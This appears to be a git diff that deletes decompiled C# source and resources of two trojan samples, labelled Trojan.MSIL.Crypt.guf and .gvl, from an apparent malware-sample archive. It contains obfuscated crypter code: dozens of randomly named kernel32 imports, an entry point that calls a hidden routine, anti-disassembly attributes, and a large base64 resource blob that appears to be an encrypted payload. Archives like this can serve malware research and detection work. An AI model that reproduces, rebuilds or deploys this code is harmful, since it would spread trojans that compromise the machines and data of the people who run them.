CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ZzUMh([MarshalAs(UnmanagedType.VBByRefStr)] ref string BRxyw, string[] EmtWS, char rrIwz); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] rStNV([MarshalAs(UnmanagedType.VBByRefStr)] ref string TsHTu, string[] OZEWo, char oDNkH); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] gJjEG([MarshalAs(UnmanagedType.VBByRefStr)] ref string EztJP, string[] fFafc, char nYUbc); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] lLqXj([MarshalAs(UnmanagedType.VBByRefStr)] ref string DVpxn, string[] ZGFHA, char RvRhP); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] tLGDO([MarshalAs(UnmanagedType.VBByRefStr)] ref string hLoMC, string[] PdXKM, char jASYq); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] AoWFw([MarshalAs(UnmanagedType.VBByRefStr)] ref string GWYeA, string[] DLcMv, char AqwsT); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] IVrsR([MarshalAs(UnmanagedType.VBByRefStr)] ref string JIkzZ, string[] mUWpC, char efdiZ); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] HXxKL([MarshalAs(UnmanagedType.VBByRefStr)] ref string aegNx, string[] HYpBM, char uBbpz); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] XiCOi([MarshalAs(UnmanagedType.VBByRefStr)] ref string YTgHf, string[] SCuCg, char aspJi); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] IyuIB([MarshalAs(UnmanagedType.VBByRefStr)] ref string mOvYc, string[] BWRjT, char PSImu); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] vtyVd([MarshalAs(UnmanagedType.VBByRefStr)] ref string kFbaq, string[] uxoGd, char VUnqK); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] nrUEl([MarshalAs(UnmanagedType.VBByRefStr)] ref string yNNyO, string[] XwDvZ, char lKlwq); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] PsFyP([MarshalAs(UnmanagedType.VBByRefStr)] ref string FKBoR, string[] KJCsn, char SZzUM); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] hBRxy([MarshalAs(UnmanagedType.VBByRefStr)] ref string wEmtW, string[] SrrIw, char zrStN); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] VTsHT([MarshalAs(UnmanagedType.VBByRefStr)] ref string uOZEW, string[] ooDNk, char HgJjE); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] GEztJ([MarshalAs(UnmanagedType.VBByRefStr)] ref string PfFaf, string[] cnYUb, char clLqX); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] jDVpx([MarshalAs(UnmanagedType.VBByRefStr)] ref string nZGFH, string[] ARvRh, char PtLGD); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] OhLoM([MarshalAs(UnmanagedType.VBByRefStr)] ref string CPdXK, string[] MjASY, char qAoWF); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] wGWYe([MarshalAs(UnmanagedType.VBByRefStr)] ref string ADLcM, string[] vAqws, char TIVrs); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] RJIkz([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZmUWp, string[] Cefdi, char ZHXxK); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] LaegN([MarshalAs(UnmanagedType.VBByRefStr)] ref string xHYpB, string[] MuBbp, char zXiCO); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] iYTgH([MarshalAs(UnmanagedType.VBByRefStr)] ref string fSCuC, string[] gaspJ, char iIyuI); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] BmOvY([MarshalAs(UnmanagedType.VBByRefStr)] ref string cBWRj, string[] TPSIm, char uvtyV); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] dkFba([MarshalAs(UnmanagedType.VBByRefStr)] ref string quxoG, string[] dVUnq, char KnrUE); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] lyNNy([MarshalAs(UnmanagedType.VBByRefStr)] ref string OXwDv, string[] ZlKlw, char qPsFy); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] PFKBo([MarshalAs(UnmanagedType.VBByRefStr)] ref string RKJCs, string[] nSZzU, char MhBRx); - - [STAThread] - public static void main() => Module1.qcTam(); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] mRAnb([MarshalAs(UnmanagedType.VBByRefStr)] ref string kORgi, string[] Fiowl, char SabMe); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] EPDtI([MarshalAs(UnmanagedType.VBByRefStr)] ref string UVacX, string[] tPWlZ, char CqZBl); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] hDeTT([MarshalAs(UnmanagedType.VBByRefStr)] ref string enzcv, string[] bySqS, char cVoBu); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] eouqR([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZiprW, string[] NZwyf, char lYHRi); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ddchA([MarshalAs(UnmanagedType.VBByRefStr)] ref string MgwBB, string[] mcfBv, char MTEjN); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] sjanx([MarshalAs(UnmanagedType.VBByRefStr)] ref string hgXXu, string[] TDsJr, char Fhthf); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] MroKu([MarshalAs(UnmanagedType.VBByRefStr)] ref string YKIZk, string[] lIOSo, char VzFvE); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] CdZyt([MarshalAs(UnmanagedType.VBByRefStr)] ref string usxib, string[] iHnMp, char svnHp); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] XYzoP([MarshalAs(UnmanagedType.VBByRefStr)] ref string zqTFx, string[] wkVxX, char guctf); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] jLxvp([MarshalAs(UnmanagedType.VBByRefStr)] ref string OYbxV, string[] bNjmE, char BNhrm); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] DfyAl([MarshalAs(UnmanagedType.VBByRefStr)] ref string gCWLK, string[] PGyry, char dqpUL); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] JTdsk([MarshalAs(UnmanagedType.VBByRefStr)] ref string CRYME, string[] ICfzH, char WnGkj); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] KsLwW([MarshalAs(UnmanagedType.VBByRefStr)] ref string aWJUN, string[] CrGme, char amRAn); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] bkORg([MarshalAs(UnmanagedType.VBByRefStr)] ref string iFiow, string[] lSabM, char eEPDt); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] IUVac([MarshalAs(UnmanagedType.VBByRefStr)] ref string XtPWl, string[] ZCqZB, char lhDeT); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] Tenzc([MarshalAs(UnmanagedType.VBByRefStr)] ref string vbySq, string[] ScVoB, char ueouq); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] RZipr([MarshalAs(UnmanagedType.VBByRefStr)] ref string WNZwy, string[] flYHR, char iddch); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] AMgwB([MarshalAs(UnmanagedType.VBByRefStr)] ref string BmcfB, string[] vMTEj, char Nsjan); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] xhgXX([MarshalAs(UnmanagedType.VBByRefStr)] ref string uTDsJ, string[] rFhth, char fMroK); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] uYKIZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string klIOS, string[] oVzFv, char ECdZy); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] tusxi([MarshalAs(UnmanagedType.VBByRefStr)] ref string biHnM, string[] psvnH, char pXYzo); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] PzqTF([MarshalAs(UnmanagedType.VBByRefStr)] ref string xwkVx, string[] Xguct, char fjLxv); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] pOYbx([MarshalAs(UnmanagedType.VBByRefStr)] ref string VbNjm, string[] EBNhr, char mDfyA); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] lgCWL([MarshalAs(UnmanagedType.VBByRefStr)] ref string KPGyr, string[] ydqpU, char LJTds); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] kCRYM([MarshalAs(UnmanagedType.VBByRefStr)] ref string EICfz, string[] HWnGk, char jKsLw); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] WaWJU([MarshalAs(UnmanagedType.VBByRefStr)] ref string NCrGm, string[] eamRA, char nbkOR); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/My/Resources/Resources.cs deleted file mode 100644 index be6c8215..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/My/Resources/Resources.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BAIbA.My.Resources.Resources -// Assembly: wKCTT, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: DDC8B6C8-A5ED-4BE4-9FE2-661AC89DF657 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace BAIbA.My.Resources -{ - [CompilerGenerated] - [HideModuleName] - [DebuggerNonUserCode] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) BAIbA.My.Resources.Resources.resourceMan, (object) null)) - BAIbA.My.Resources.Resources.resourceMan = new ResourceManager("BAIbA.Resources", typeof (BAIbA.My.Resources.Resources).Assembly); - return BAIbA.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => BAIbA.My.Resources.Resources.resourceCulture; - set => BAIbA.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] eoiJcuFic => (byte[]) RuntimeHelpers.GetObjectValue(BAIbA.My.Resources.Resources.ResourceManager.GetObject(nameof (eoiJcuFic), BAIbA.My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Resources.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Resources.resx deleted file mode 100644 index 676c3dbc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Resources.resx +++ /dev/null @@ -1,595 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, 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BAIbA - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Trojan.MSIL.Crypt.guf.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Trojan.MSIL.Crypt.guf.sln deleted file mode 100644 index 1ec8ff33..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Trojan.MSIL.Crypt.guf.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "wKCTT", "Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc.csproj", "{C5EAAC0F-0450-48F8-9224-50327A975AB0}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C5EAAC0F-0450-48F8-9224-50327A975AB0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C5EAAC0F-0450-48F8-9224-50327A975AB0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C5EAAC0F-0450-48F8-9224-50327A975AB0}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C5EAAC0F-0450-48F8-9224-50327A975AB0}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/AssemblyInfo.cs deleted file mode 100644 index b1f8d503..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; - -[assembly: AssemblyCopyright("Copyright")] -[assembly: AssemblyCompany("Company")] -[assembly: AssemblyDescription("Description")] -[assembly: AssemblyTitle("Title")] -[assembly: AssemblyProduct("Product")] -[assembly: SuppressIldasm] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/KGtPF.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/KGtPF.resx deleted file mode 100644 index 5c2ede61..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/KGtPF.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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